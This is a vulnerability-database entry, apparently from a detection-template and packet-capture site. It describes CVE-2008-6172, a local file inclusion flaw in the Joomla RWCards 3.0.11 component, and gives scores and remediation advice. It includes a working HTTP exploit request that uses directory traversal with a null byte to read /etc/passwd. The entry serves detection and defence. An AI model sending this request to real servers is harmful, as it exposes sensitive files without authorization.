🔙 목록으로 돌아가기

CVE-2008-6172: Joomla! Component RWCards 3.0.11 - Local File Inclusion

TitleJoomla! Component RWCards 3.0.11 - Local File Inclusion
Authordaffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
RemediationUpdate Joomla! Component RWCards to the latest version to mitigate the vulnerability.
CVSS Score6.8
EPSS Score0.05386
CVE IDCVE-2008-6172
CWE IDCWE-22
Tags cve2008 cve joomla lfi edb weberr vuln

🔍 Vulnerability Description

A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter.

🌐 HTTP Request

GET /components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2008/CVE-2008-6172.yaml

🦈 Packet Capture: ⬇️ Download cve-2008-6172.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A